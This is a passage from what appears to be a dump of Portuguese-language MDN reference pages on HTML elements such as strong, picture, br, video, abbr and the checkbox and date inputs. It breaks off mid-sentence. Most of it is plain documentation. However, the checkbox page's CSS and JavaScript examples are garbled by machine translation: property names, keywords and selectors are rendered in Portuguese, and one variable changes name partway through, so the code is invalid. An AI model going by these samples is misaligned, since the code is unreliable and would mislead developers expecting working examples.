seja lá o que for. Faz mais sentido mudar as propriedades de apresentação de strong do que bold. Isto porque bold é um estado físico; não há separação entre a apresentação e o conteúdo, e fazer com que bold faça qualquer outra coisa diferente de deixar o texto em negrito seria confuso e ilógico.\n\nÉ importante notar que <b></b> tem outros usos, quando se quer chamar atenção sem aumentar a importância.\n\n### Emphasis vs. Strong\n\nEnquanto no HTML4, Strong simplesmente indicava uma ênfase mais forte, em HTML5, o elemento é descrito como representando \"uma forte importância para o seu conteúdo.\" Esta é uma importante distinção a se fazer. Enquanto Emphasis é usado para alterar o significado de uma sentença (\"Eu *amo* cenouras\" vs. \"Eu amo *cenouras*\"), Strong é usado para dar mais importância a porções de uma sentença (e.g., \"**Cuidado!** Isso é **muito perigoso.**\"). Ambos Strong e Emphasis podem ser aninhados para aumentar o grau relativo de importância ou reforçar ênfase, respectivamente.\n\nExemplo\n-------\n\n### Exemplo básico\n\n\n```html\n<p>\n  Ao fazer x é <strong>imperativo</strong> que se faça y antes de prosseguir.\n</p>\n```\n\n### Resultado\n\nAo fazer x é **imperativo** que se faça y antes de prosseguir.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-strong-element |\n\nNavegadores Compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* HTML bold element (en-US)"}
{"title":"<picture> - HTML: Linguagem de Marcação de Hipertexto","text":"<picture>\n=========\n\nO **elemento HTML `<picture>`** é um container usado para especificar múltiplos elementos `<source>` para um elemento específico `<img>` contido nele. O navegador irá escolher a imagem mais adequada de acordo com o layout atual da página, caracteristicas do dispositivo em que será exibido (p.e. um dispositivo normal ou um hiDPI), e a habilidade do navegador de renderizar um certo tipo de imagem (p.e., envie uma imagem WebP para os navegadores baseados no Chromium ou PNG para navegadores não-Chromium); se não houver correspondência entre os elementos `<source>`, o arquivo especificado pelo elemento `<img>` será selecionado. A imagem selecionada é então exibida no espaço ocupado pelo elemento `<img>`.\n\n|  |  |\n| --- | --- |\n| Categorias de conteúdo | Conteúdo de fluxo,\n conteúdo fraseado,\n conteúdo embutido |\n| Conteúdo permitido | \n Zero ou mais elementos `<source>`, seguidos de um\n elemento `<img>`, opcionalmente mesclado com\n elementos de suporte para scripts (por exemplo,\n `<script>` e\n `<template>`).\n  |\n| Omissão de tag | Nenhuma, as tags de abertura e fechamento são mandatórias |\n| Parentes permitidos | Qualquer elemento que permita conteúdo embutido (embedded). |\n| Papéis ARIA permitidos | Nenhum |\n| Interface do DOM | `HTMLPictureElement` (en-US) |\n\nAtributos\n---------\n\nEsse elemento só inclui elementos globais.\n\nExemplo 1: Uso com atributo `media`\n-----------------------------------\n\nO atributo `media` permite você especificar uma media query que o navegador irá avaliar para selecionar um elemento `<source>` . Se a media query retornar `falso`, o elemento `<source>` é ignorado.\n\n\n```html\n<picture>\n  <source srcset=\"mdn-logo-wide.png\" media=\"(min-width: 600px)\" />\n  <img src=\"mdn-logo-narrow.png\" alt=\"MDN\" />\n</picture>\n```\n\nExemplo 2: Uso com atributo type\n--------------------------------\n\nO atributo `type` lhe permite especificar um tipo MIME para o(s) recurso(s) fornecido(s) no atributo srcset do elemento `<source>`. Se o navegador não suporta o tipo especificado, o elemento `<source>` é ignorado.\n\n\n```html\n<picture>\n  <source srcset=\"mdn-logo.svg\" type=\"image/svg+xml\" />\n  <img src=\"mdn-logo.png\" alt=\"MDN\" />\n</picture>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-picture-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<img>` element\n* `<source>` element"}
{"title":"<br> - HTML: Linguagem de Marcação de Hipertexto","text":"<br>\n====\n\nSumário\n-------\n\nO elemento HTML *quebra-de-linha* <br> produz uma quebra de linha em um texto (carriage-return).É útil para escrever poemas ou um endereço, onde a divisão de linha é significante.\n\nNão use <br> para aumentar o espaço entre as linhas de texto; para isso use a propiedade CSS `margin` ou o elemento `<p>`.\n\n|  |  |\n| --- | --- |\n| Categorias de Conteúdo (en-US) | Conteúdo de Fluxo (en-US),\n conteúdo fraseado (en-US).\n  |\n| Conteúdo permitido | Nenhum, é um empty element (en-US). |\n| Omissão de tag | \n Deve ter uma tag de abertura, e não deve ter uma tag de fechamento. Em\n documentos XHTML , escreve esse elemento como `<br />`.\n  |\n| Elementos pai permitidos | \n Qualquer elemento que aceita\n conteúdo fraseado (en-US).\n  |\n| Interface DOM | `HTMLBRElement` (en-US) |\n\nAtributos\n---------\n\nEste elemento inclue os Atributos globais (en-US).\n\n`clear` \nDeprecated\n\nIndica onde começar a próxima linha depois da quebra.\n\n**Nota:** Este atributo está obsoleto em HTML 5 e **Não deve ser usado por autores**. Use a propriedade CSS `clear` em vez disso.\n\nExemplo\n-------\n\n\n```html\nMozilla Foundation<br />\n1981 Landings Drive<br />\nBuilding K<br />\nMountain View, CA 94043-0801<br />\nUSA\n```\n\n\nSaída do HTML acima:\n\nMozilla Foundation  \n1981 Landings Drive  \nBuilding K  \nMountain View, CA 94043-0801  \nUSA\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-br-element |\n\nCompatibilidade com o browser\n-----------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O elemento `<address>`\n* O elemento `<p>`"}
{"title":"video - HTML: Linguagem de Marcação de Hipertexto","text":"video\n=====\n\nSumário\n-------\n\nO elemento HTML `<video>` é utilizado para incorporar conteúdo de vídeo em um documento HTML ou XHTML.\n\nPara uma lista de formatos suportados veja Media formats supported by the audio and video elements.\n\nContexto de uso\n---------------\n\n| Conteúdo permitido | Transparent content, contendo ou um atributo **src** ou um ou mais elementos `<source>`, seguido por flow content ou phrasing content , sem `<video>` ou elementos `<audio>`. |\n| --- | --- |\n| Omissão de tag | Nenhuma, tanto as tags iniciais quanto as finais devem estar presentes. |\n| Permissão de elementos pais | Qualquer elemento que aceite flow content, ou qualquer outro elemento que aceite phrasing content. |\n| Documento normativo | HTML 5, section 4.8.6 |\n\nAtributos\n---------\n\nComo qualquer elemento HTML, este elemento suporta os global attributes.\n\n`autoplay`\n\nUm atributo Booleano; se especificado, o video vai ser executado assim que possível sem precisar de carregar todo o arquivo.\n\n\n**Nota:** Algumas versões do Chrome aceitam somente o `autostart` e não o autoplay\n\n`autobuffer` \nNon-standard\n\nUm atributo Booleano; se especificado, o video vai começar a carregar automaticamente mesmo que não especificado para tocar automaticamente. Isso deve ser usado em casos que é esperado que o vídeo seja reproduzido (por exemplo, se o usuário acessa a página para assistir o vídeo, mas não se o vídeo estiver incorporado à pagina junto a outro conteúdo). O vídeo é carregado até que o cache de mídia.\n\n> \n> **Note:** **Nota de implementação:** embora parte dos primeiros rascunhos das especificações do HTML5, o atributo `autobuffer` foi removido das últimas versões. Ele foi removido do Gecko 2.0 e outros navegadores, e nunca implementado em outros. A especificação define um novo atributo enumerado, `preload`, para substituir o atributo `autobuffer`, com sintaxe diferente. Firefox bug 548523\n> \n> \n> \n\n`buffered`\n\nUm atributo que pode ser lido para determinar os intervalos do vídeo que já foram carregados. Este atributo contém um objeto `TimeRanges` (en-US).\n\n`controls`\n\nSe esse atributo estiver presente, o Gecko oferecerá controles para permitir o usuário controlar a reprodução do vídeo, incluindo volume, navegação, e pausa/continuação da reprodução.\n\n`height`\n\nA altura da área de exibição do vídeo, em pixels de CSS.\n\n`loop`\n\nUm atributo Booleano; se especificado, ao chegar no fim do vídeo, ele voltará automaticamente para o começo.\n\n`muted`\n\nUm atributo Booleano que indica a configuração padrão do áudio contido no vídeo. Se definido, o áudio vai começar mudo. Seu valor padrão é falso, significando que o áudio será reproduzido juntamente com o vídeo.\n\n`played`\n\nUm objeto `TimeRanges` (en-US) indicando que todo o vídeo foi reproduzido.\n\n`preload`\n\nEsse atributo enumerado pretende dar uma sugestão ao navegador sobre o que o autor pensa que proporcionará uma melhor experiência do usuário. Ele pode ter os seguintes valores:\n\n* none: indica que o usuário não necessitará consultar o vídeo ou que o servidor quer minimizar seu tráfego; em outros termos indica que o vídeo não deve ser pré-carregado.\n* metadata: indica que embora o usuário não necessitará consultar o vídeo, pegar os meta-dados (ex: comprimento) é interessante.\n* auto: indica que o usuário necessita ter prioridade; em outros termos isso indicou que, se necessário, o vídeo inteiro pode ser baixado, mesmo que não seja esperado a execução.\n* a *string vazia*: é um sinônimo do valor auto.\n\nSe não definido, seu valor padrão será definido pelo navegador (isto é, cada navegador pode escolher seu valor padrão), embora a especificação recomenda que seja definido para o metadata.\n\n> \n> **Note:** **Notas de uso:**- O atributo `autoplay` tem precedência sobre o `preload`, pois se é necessário executar o vídeo automaticamente, o navegador obviamente o baixará. Definindo ambos `autoplay` e `preload` é permitido pela especificação.\n> \n> \n> * O navegador não é forçado pela especifição a seguir o valor desse atributo; é apenas uma sugestão.\n> \n> \n> \n\n`poster`\n\nUma URL indicando uma imagem de prévia do vídeo até o usuário reproduzir ou navegar por ele. Se este atributo não estiver especificado, nada será mostrado até que o primeiro quadro esteja disponível; então o primeiro quadro será exibido como imagem de prévia.\n\n`src`\n\nA URL do vídeo a ser incorporado. Isto é opcional; ao invés disso você pode usar o elemento `<source>` dentro do bloco do vídeo para especificar o vídeo a ser incorporado .\n\n`width`\n\nA largura da área de exibição do vídeo, em pixels de CSS.\n\nO tempo de compensação (time offset) entre o áudio e o vídeo está especificado como um valor de ponto flutuante (float) representando o número de segundos da compensação.\n\n**Nota:** A definição de valor de tempo de compensação ainda não foi completada na especificação do HTML 5 e está sujeita a mudança.\n\nExemplos\n--------\n\n\n```html\n<!-- Exemplo simples de vídeo -->\n<video src=\"arquivovideo.ogg\" autoplay poster=\"imagemprevia.jpg\">\n  Desculpa, o seu navegador não suporta vídeos incorporados, mas você pode\n  <a href=\"videofile.ogg\">baixá-lo</a>\n  e assistir pelo seu reprodutor de mídia favorito!\n</video>\n\n<!-- Vídeo com legendas -->\n<video src=\"foo.ogg\">\n  <track kind=\"subtitles\" src=\"foo.en.vtt\" srclang=\"en\" label=\"English\" />\n  <track kind=\"subtitles\" src=\"foo.sv.vtt\" srclang=\"sv\" label=\"Svenska\" />\n</video>\n```\n\n\nO primeiro exemplo reproduz um vídeo, começando a reprodução assim que o vídeo for recebido para permitir a execução sem parar a execução para baixar mais. Até que o vídeo comece a reproduzir, a imagem \"imagemprevia.jpg\" será mostrada em seu lugar.\n\nO segundo exemplo permite o usuário escolher entre diferentes legendas.\n\nSuporte ao Servidor\n-------------------\n\nSe o tipo MIME do vídeo não estiver definido corretamente no servidor, o vídeo poderá não ser mostrado ou uma caixa cinza contendo um X (se o JavaScript estiver habilitado) será exibida em seu lugar.\n\nSe você disponibiliza seu vídeos como Ogg Theora, você pode corrigir esse problema para o servidor web Apache adicionando a extensão utilizada por seu arquivos de vídeo (\".ogm\", \".ogv\", e \".ogg\" são as mais comuns) para o tipo MIME \"video/ogg\" através do arquivo \"mime.types\" localizado em \"/etc/apache\" ou através da configuração de diretiva \"AddType\" no httpd.conf.\n```\n\nAddType video/ogg .ogm\nAddType video/ogg .ogv\nAddType video/ogg .ogg\n```\n\n\nSe você disponibilizar seu vídeos como WebM, você pode corrigir esse problema para o servidor web Apache adicionando a extensão usada por seu arquivos de vídeo (\".webm\" é a mais comum) para o tipo MIME \"video/webm\" através do arquivo \"mime.types\" localizado em \"/etc/apache\" ou através da configuração de diretiva \"AddType\" no httpd.conf.\n```\n\nAddType video/webm .webm\n```\n\n\nSeu serviço de hospedagem talvez forneça uma interface simples para mudar a configuração dos tipos MIME para as novas tecnologias até que uma atualização global ocorra naturalmente.\n\nInterface do DOM\n----------------\n\nEsse elemento implementa a interface `HTMLVideoElement`.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Media formats supported by the audio and video elements\n* `audio`\n* Using HTML5 audio and video\n* Manipulating video using canvas\n* `nsIDOMHTMLMediaElement`\n* TinyVid - exemplos utilizando arquivos ogg em HTML5.\n* The `video` element (Especificação HTML 5)\n* Configuring servers for Ogg media"}
{"title":"<abbr> - HTML: Linguagem de Marcação de Hipertexto","text":"<abbr>\n======\n\nSumário\n-------\n\nO *Elemento* \\_HTML `<abbr>` \\_(ou Elemento de Abreviação HTML) representa uma abreviação e opcionalmente fornece uma descrição completa para ela. Se presente, o atributo **`title`** deve conter a descrição completa e apenas ela.\n\n> \n> **Note:** Quando presente, o número gramatical (singular/plural) do texto no atributo **`title`** deve ser correspondente ao do conteúdo do elemento `<abbr>`. Isso também deve ocorrer no caso das linguagens com mais de dois números gramaticais (por exemplo, em árabe não há somente palavras no singular e plural, mas tem também uma categoria dual).\n> \n> \n> \n\n* *Categorias de conteúdo (en-US)* Conteúdo de fluxo (en-US), conteúdo de fraseamento (en-US), conteúdo palpável\n* *Conteúdo permitido*Conteúdo de fraseamento (en-US).\n* *Omissão de tag* None, both the starting and ending tag are mandatory.\n* *Elementos-pai permitidos* Qualquer elemento que aceite como filho conteúdo de fraseamento (en-US).\n* *Interface DOM* `HTMLElement` (en-US) Após o Gecko 1.9.2 (Firefox 3.6) (e incluindo ele), o Firefox implementou a interface `HTMLSpanElement` para este elemento.\nAtributos\n---------\n\nEste elemento inclui apenas os atributos globais (en-US).\n\nUse o atributo **title** para definir a descrição completa da abreviação. Muitos navegadores exibem a descrição quando passa-se o mouse por cima da abreviação.\n\nEstilo padrão\n-------------\n\nO propósito deste elemento é meramente a conveniência de autores e todos os navegadores mostram ele como um elemento dentro de uma linha (`display``: inline`) por padrão, embora o estilo aplicado sobre ele seja diferente entre diferentes navegadores:\n\n* Alguns navegadores, como o Internet Explorer, não aplicam nenhum estilo à mais do que é aplicado ao elemento `<span>`.\n* Opera, Firefox, e alguns outros adicionam um sublinhado pontilhado ao conteúdo do elemento.\n* Alguns poucos navegadores não apenas adicionam um sublinhado pontilhado, mas também colocam o texto em versalete (small caps); para evitar este tipo de estilo, adicione algo como `font-variant` (en-US)`: none` no CSS que administra este caso.\n\nÉ fortemente recomendado que autores web não confiem no estilo padrão. Note que este elemento não é suportado pelo Internet Explorer anterior ao IE7. Como tais versões do IE também não permitem que se aplique estilo para elementos desconhecidos, o seguinte script é necessário para permitir isso:\n\n\n```html\n<!--[if lte IE 6]>\n <script>\n document.createElement(\"abbr\");\n </script>\n<![endif]-->\n```\n\nExemplo\n-------\n\n\n```html\n<p>Obama é presidente dos <abbr title=\"Estados Unidos da América\">EUA</abbr></p>\n```\n\n### Resultado\n\nObama é presidente dos EUA\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-abbr-element |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Outros elementos que possuem semântica à nível de texto: `<a>`, `<em>`, `<strong>`, `<small>` (en-US), `<cite>`, `<q>`, `<dfn>`, `<time>`, `<code>`, `<var>`, `<samp>` (en-US), `<kbd>` (en-US), `<sub>` (en-US), `<sup>` (en-US), `<b>`, `<i>`, `<mark>`, `<ruby>`, `<rp>` (en-US), `<rt>` (en-US), `<bdo>`, `<span>`, `<br>`, `<wbr>`."}
{"title":"<input type=\"checkbox\"> - HTML: Linguagem de Marcação de Hipertexto","text":"<input type=\"checkbox\">\n=======================\n\n`<input>` elementos do tipo **`checkbox`** são renderizados por padrão como caixas quadradas que são marcadas (com uma marca de verificação) quando ativadas, como as que você veria em um formulário do governo. A aparência exata depende de da configuração de sistema operacional sobre o qual o navegador está sendo executado. Caixas de seleção permitem que você selecione valores únicos para envio em um formulário (ou não).\n\nExperimente\n-----------\n\n> \n> **Note:** **Nota** : Os botões de opção (en-US) são semelhantes às caixas de seleção, mas com uma distinção importante: os botões de opção são agrupados em um conjunto no qual apenas um botão pode ser selecionado por vez, enquanto as caixas de seleção permitem ativar e desativar valores únicos. Quando existem vários controles, os botões de opção permitem que um seja selecionado de todos, enquanto as caixas de seleção permitem que vários valores sejam selecionados.\n> \n> \n> \n\n|  |  |\n| --- | --- |\n| **Valor** | \n Um `DOMString` representando o valor da caixa de\n seleção.\n  |\n| **Eventos** | `change (en-US)` e `input (en-US)` |\n| **Atributos comuns suportados** | `checked` |\n| **Atributos IDL** | `checked` e `value` |\n| **Métodos** | `select ()` |\n\nValor\n-----\n\nUm `DOMString` representando o valor da caixa de seleção. Isso nunca é visto no lado do cliente, mas no servidor esse é o `value` atribuído aos dados enviados com o `name` da caixa de seleção. Tome o seguinte exemplo:\n\n\n```html\n<form>\n  <div>\n    <input\n type=\"checkbox\"\n id=\"subscribeNews\"\n name=\"subscribe\"\n value=\"newsletter\" />\n    <label for=\"subscribeNews\"> Subscreva a newsletter? </label>\n  </div>\n  <div>\n    <button type=\"submit\">Subscrever</button>\n  </div>\n</form>\n```\n\n\nNeste exemplo, temos um nome `subscribe`e um valor de `newsletter`. Quando o formulário é enviado, o par de nome / valor de dados será `subscribe=newsletter`.\n\nSe o atributo `value` for omitido, o valor padrão da caixa de seleção é `on` , portanto, os dados enviados nesse caso seriam `subscribe=on`.\n\n> \n> **Note:** **Nota** : Se uma caixa de seleção estiver desmarcada quando seu formulário for enviado, não haverá nenhum valor enviado ao servidor para representar seu estado desmarcado (por exemplo `value=unchecked`); o valor não é submetido ao servidor.\n> \n> \n> \n\nUsando entradas da caixa de seleção\n-----------------------------------\n\nJá cobrimos o uso mais básico de caixas de seleção acima. Vamos agora olhar para os outros recursos e técnicas relacionados à caixa de seleção que você precisa.\n\n### Lidando com várias caixas de seleção\n\nO exemplo que vimos acima continha apenas uma caixa de seleção; em situações do mundo real, você provavelmente encontrará várias caixas de seleção. Se eles não estiverem relacionados, você pode lidar com todos eles separadamente, como mostrado acima. No entanto, se todos estiverem relacionados, as coisas não são tão simples.\n\nPor exemplo, na demonstração a seguir, incluímos várias caixas de seleção para permitir que o usuário selecione seus interesses (veja a versão completa na seção Examples).\n\n\n```html\n<fieldset>\n  <legend>Escolha seus interesses</legend>\n  <div>\n    <input\n type=\"checkbox\"\n id=\"codificação\"\n name=\"interesse\"\n value=\"codificação\" />\n    <label for=\"coding\"> Codificação </label>\n  </div>\n  <div>\n    <input type=\"checkbox\" id=\"música\" name=\"interesse\" value=\"música\" />\n    <label for=\"music\"> Música </label>\n  </div>\n</fieldset>\n```\n\n\nNeste exemplo, você verá que atribuímos a cada caixa de seleção o mesmo `name`. Se ambas as opções são verificados e, em seguida, o formulário é enviado, você terá uma série de pares nome / valor apresentado assim: `interest=coding&interest=music`. Quando esses dados atingirem o lado do servidor, você poderá capturá-los como uma matriz de valores relacionados e tratá-los adequadamente - consulte Lidar com várias caixas de seleção com uma única variável de servidor , por exemplo.\n\n### Caixas de verificação por padrão\n\nPara fazer uma caixa de seleção marcada por padrão, você simplesmente atribui o atributo `checked`. Veja o exemplo abaixo:\n\n\n```html\n<fieldset>\n  <legend>Escolha seus interesses</legend>\n  <div>\n    <input\n type=\"checkbox\"\n id=\"codificação\"\n name=\"interesse\"\n value=\"codificação\"\n checked />\n    <label for=\"coding\"> Codificação </label>\n  </div>\n  <div>\n    <input type=\"checkbox\" id=\"música\" name=\"interesse\" value=\"música\" />\n    <label for=\"music\"> Música </label>\n  </div>\n</fieldset>\n```\n\n### Fornecendo uma área de acertos maior para suas caixas de seleção\n\nNos exemplos acima, você deve ter notado que pode alternar uma caixa de seleção clicando no elemento `<label>` associado e na própria caixa de seleção. Esse é um recurso realmente útil de rótulos de formulários HTML que facilitam o clique na opção desejada, especialmente em dispositivos de tela pequena, como smartphones.\n\nAlém da acessibilidade, esse é outro bom motivo para configurar corretamente os `<label>`elementos em seus formulários.\n\n### Caixas de seleção de estado indeterminado\n\nAlém dos estados marcado e não marcado, há um terceiro estado em que uma caixa de seleção pode estar: **indeterminada**. Este é um estado em que é impossível dizer se o item está ativado ou desativado. Isso é definido usando a propriedade `indeterminate` do objeto `HTMLInputElement` via JavaScript (não pode ser definido usando um atributo HTML):\n\n\n```js\ninputInstance.indeterminate = true;\n```\n\n\nUma caixa de seleção no estado indeterminado tem uma linha horizontal na caixa (parece um hífen ou sinal de menos) em vez de uma marca de verificação na maioria dos navegadores.\n\nNão há muitos casos de uso para essa propriedade. O mais comum é quando uma caixa de seleção está disponível e \"possui\" um número de subopções (que também são caixas de seleção). Se todas as subopções estiverem marcadas, a caixa de seleção proprietária também será marcada e, se todas elas estiverem desmarcadas, a caixa de seleção proprietária será desmarcada. Se uma ou mais das subopções tiverem um estado diferente das outras, a caixa de seleção proprietária está no estado indeterminado.\n\nIsso pode ser visto no exemplo abaixo (graças aos CSS Tricks para a inspiração). Neste exemplo, acompanhamos os ingredientes que estamos coletando para uma receita. Quando você marca ou desmarca a caixa de seleção de um ingrediente, uma função JavaScript verifica o número total de ingredientes verificados:\n\n* Se nenhum deles estiver marcado, a caixa de seleção do nome da receita está definida como desmarcada.\n* Se um ou dois estiverem marcados, a caixa de seleção do nome da receita está definida como `indeterminate`.\n* Se todos os três forem marcados, a caixa de seleção do nome da receita estará definida como `checked`.\n\nPortanto, neste caso, o `indeterminate`estado é usado para afirmar que a coleta dos ingredientes foi iniciada, mas a receita ainda não está completa.\n\n\n```js\n  var overall = document.querySelector ('input[id = \"EnchTbl\"]');\n  var ingredients = document.querySelectorAll ('ul input');\n\n  overall.addEventListener ('clique', function (e) {\n    e.preventDefault ();\n  });\n\n  for(var i = 0; i <ingredientes.length; i ++) {\n    ingredientes [i] .addEventListener ('click', updateDisplay);\n  }\n\n  função updateDisplay () {\n    var checkedCount = 1;\n    for(var i = 0; i <ingredientes.length; i ++) {\n      if (ingredientes [i] .checked) {\n        checkedCount ++;\n      }\n    }\n\n    if (checkedCount === ingredientes.length + 1) {\n      overall.checked = true;\n      overall.indeterminate = false;\n    } else if (checkedCount <= ingredients.length + 1 && checkedCount> 1) {\n      overall.checked = false;\n      overall.indeterminate = true;\n    } else {\n      overall.checked = false;\n      overall.indeterminate = false;\n    }\n  }\n```\n\n\n> \n> **Note:** **Nota** : Se você enviar um formulário com uma caixa de seleção indeterminada, a mesma coisa acontece como se o formulário estivesse desmarcado - nenhum dado é enviado para representar a caixa de seleção.\n> \n> \n> \n\nValidação\n---------\n\nAs caixas de seleção suportam validação (en-US) (oferecidas para todos os `<input>`s). No entanto, a maioria dos `ValidityState` s sempre será `false`. Se a caixa de seleção tiver o `required` atributo, mas não estiver marcada, ela `ValidityState.valueMissing` (en-US) será `true`.\n\nExemplos\n--------\n\nO exemplo a seguir é uma versão estendida do exemplo \"multiple checkboxes\" que vimos acima - tem mais opções padrão, além de uma caixa de seleção \"other\" que quando marcada faz com que um campo de texto apareça para inserir um valor para a opção \"other\". Isto é conseguido com um simples bloco de JavaScript. O exemplo também inclui alguns CSS para melhorar o estilo.\n\n### HTML\n\n\n```html\n<form>\n  <fieldset>\n    <legend>Escolha seus interesses</legend>\n    <div>\n      <input\n type=\"checkbox\"\n id=\"codificação\"\n name=\"interesse\"\n value=\"codificação\" />\n      <label for=\"coding\"> Codificação </label>\n    </div>\n    <div>\n      <input type=\"checkbox\" id=\"música\" name=\"interesse\" value=\"música\" />\n      <label for=\"music\"> Música </label>\n    </div>\n    <div>\n      <input type=\"checkbox\" id=\"arte\" name=\"interesse\" value=\"arte\" />\n      <label for=\"art\"> Art </label>\n    </div>\n    <div>\n      <input type=\"checkbox\" id=\"sports\" name=\"interesse\" value=\"esportes\" />\n      <label for=\"sports\"> Esportes </label>\n    </div>\n    <div>\n      <input type=\"checkbox\" id=\"cozinhar\" name=\"interesse\" value=\"cozinhar\" />\n      <label for=\"cooking\"> Cozinhando </label>\n    </div>\n    <div>\n      <input type=\"checkbox\" id=\"outro\" name=\"interesse\" value=\"outro\" />\n      <label for=\"other\"> Outro </label>\n      <input type=\"text\" id=\"otherValue\" name=\"outro\" />\n    </div>\n    <div>\n      <button type=\"submit\">Enviar formulário</button>\n    </div>\n  </fieldset>\n</form>\n```\n\n### CSS\n\n\n```css\nhtml {\n  font-family: sem serifa;\n}\n\nform {\n  largura: 600px;\n  margem: 0 auto;\n}\n\ndiv {\n  margem inferior: 10px;\n}\n\nfieldset {\n  fundo: ciano;\n  borda: 5px azul sólido;\n}\n\nlegend {\n  preenchimento: 10px;\n  fundo: azul;\n  cor: ciano;\n}\n```\n\n### JavaScript\n\n\n```js\nvar otherCheckbox = document.querySelector ('entrada [valor = \"outro\"]');\nvar otherText = document.querySelector ('input [id = \"otherValue\"]');\notherText.style.visibility = 'oculto';\n\notherCheckbox.onchange = function () {\n  if (otherCheckbox.checked) {\n    otherText.style.visibility = 'visible';\n    otherText.value = '';\n  } outro {\n    otherText.style.visibility = 'hidden';\n  }\n};\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # checkbox-state-(type=checkbox) |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `<input>` e a interface `HTMLInputElement` que o implementa.\n* Os seletores CSS `: checked` e `: indeterminate` permitem que você marque as caixas de seleção com base em seu estado atual"}
{"title":"<input type=\"date\"> - HTML: Linguagem de Marcação de Hipertexto","text":"<input type=\"date\">\n===================\n\nOs elementos `<input>` do tipo **`date`** cria campos de entrada que permite o usuário informar uma data, como também usar uma caixa de texto que valida automaticamente o conteúdo, ou usando uma interface de seleção de data especial. O valor resultante inclui ano, mês e dia, mas não o `horário`. Os tipos de entrada time e `datetime-local` (en-US) permitem informar horário e data/hora.\n\nA interface do usuário do controle varia geralmente de navegador para navegador; neste momento o suporte é irregular, veja Browser compatibility para maiores detalhes. Nos navegadores sem suporte, o controle é rebaixado graciosamente para um `<input type=\"text\">` (en-US) simples.\n\n\n```html\n<input id=\"date\" type=\"date\" />\n```\n\n\nEntre os navegadores que suportam uma interface personalizada para selecionar datas é o controle de data do Chrome/Opera, que se parece com:\n\n![](/pt-BR/docs/Web/HTML/Element/input/date/date-picker-chrome.png)\n\nO controle de data do Edge se parece assim:\n\n![](/pt-BR/docs/Web/HTML/Element/input/date/date-picker-edge.png)\n\nO controle de data do Firefox se parece assim:\n\n![Datepicker UI in firefox](/pt-BR/docs/Web/HTML/Element/input/date/firefox_datepicker.png)\n\n\n|  |  |\n| --- | --- |\n| **Value** | \n Um `DOMString` que representa uma data no formato\n AAAA-MM-DD ou vazio\n  |\n| **Eventos** | `change (en-US)` e `input (en-US)` |\n| **Atributos Comuns Suportados** | `autocomplete`,\n `list`,\n `readonly` e\n `step` |\n| **Atributos IDL** | `list`, `value`, `valueAsDate`,\n `valueAsNumber`.\n  |\n| **Métodos** | `select()`,\n `stepDown()` (en-US),\n `stepUp()` (en-US) |\n\nValores\n-------\n\nUm `DOMString` representa o valor data informada na entrada. Você pode definir o valor padrão para a entrada incluindo uma data dentro do atributo `value`, como:\n\n\n```html\n<input id=\"date\" type=\"date\" value=\"2017-06-01\" />\n```\n\n\nUma coisa para perceber é que o formato da data mostrada difere do `value` atual— o formato da data mostrada será escolhido baseado na localização definida no navegador do usuário, enquanto que a data em `value` sempre será formatado como `yyyy-mm-dd`.\n\nVocê pode, além disso, obter e definir o valor da data em JavaScript usando a propriedade `value` do elemento de entrada, por exemplo:\n\n\n```js\nvar dateControl = document.querySelector('input[type=\"date\"]');\ndateControl.value = \"2017-06-01\";\n```\n\n\nEste código localiza o primeiro elemento `<input>` que o `type` é `date` e define seu valor para a data 2017-06-01 (1 de junho de 2017).\n\nAtributos adicionais\n--------------------\n\nAlém dos atributos disponíveis para todos os elementos `<input>`, as caixas de texto de data oferecem os seguintes atributos:\n\n| Atributo | Descrição |\n| --- | --- |\n| `max` | A maior data aceitável |\n| `min` | A menor data aceitável |\n| `readonly` | Se o conteúdo da caixa de texto é somente leitura |\n| `step` | O intervalo a ser usado, quando clicar nos botões de seta para baixo e para cima, e também para validação |\n\nUsando caixas de texto de data\n------------------------------\n\nCaixas de texto de data se mostra conveniente à primeira vista — eles fornecem uma interface simples para escolha de datas e normalizam o formato da data enviado para o servidor, independentemente da localização do usuário. Contudo, há problemas com o `<input type=\"date\">` por causa do suporte limitado do navegador.\n\nIremos dar uma olhada em usos básicos e mais complexos de `<input type=\"date\">`, então aconselharemos sobre como atenuar os problemas de suporte dos navegadores (veja Handling browser support). Claro, esperamos que ao longo do tempo o supore dos navegadores sejam mais universal e este problema desapareça.\n\n### Uso básico da data\n\nO uso mais simples de `<input type=\"date\">` envolve a combinação de um `<input>` básico e o elemento `<label>`, como pode ser visto abaixo:\n\n\n```html\n<form>\n  <div>\n    <label for=\"diaa\">Informe a data do seu aniversário:</label>\n    <input type=\"date\" id=\"diaa\" name=\"diaa\" />\n  </div>\n</form>\n```\n\n### Definindo data mínima e máxima\n\nVocê pode usar os atributos `min` e `max` para restringir as datas que podem ser escolhidas pelo usuário. No próximo exemplo nós definimos uma data mínima como `2017-04-01` e data máxima como `2017-04-30`:\n\n\n```html\n<form>\n  <div>\n    <label for=\"festa\">Escolha a sua data preferida da festa:</label>\n    <input\n type=\"date\"\n id=\"festa\"\n name=\"festa\"\n min=\"2017-04-01\"\n max=\"2017-04-30\" />\n  </div>\n</form>\n```\n\n\nO resultado aqui será apenas que as dias de Abril de 2017 serão selecionados — apenas a parte \"dias\" do texto será editável e datas fora de Abril não serão rolados na ferramenta de seleção de data.\n\n> \n> **Note:** **Observação**: Você deve conhecer o uso do atributo `step` para variar o número de dias pulados cada vez que a data é incrementada (ex.: talvez você queira deixar que os Sábados sejam selecionáveis). Contudo, isto não parece funcionar eficiente de 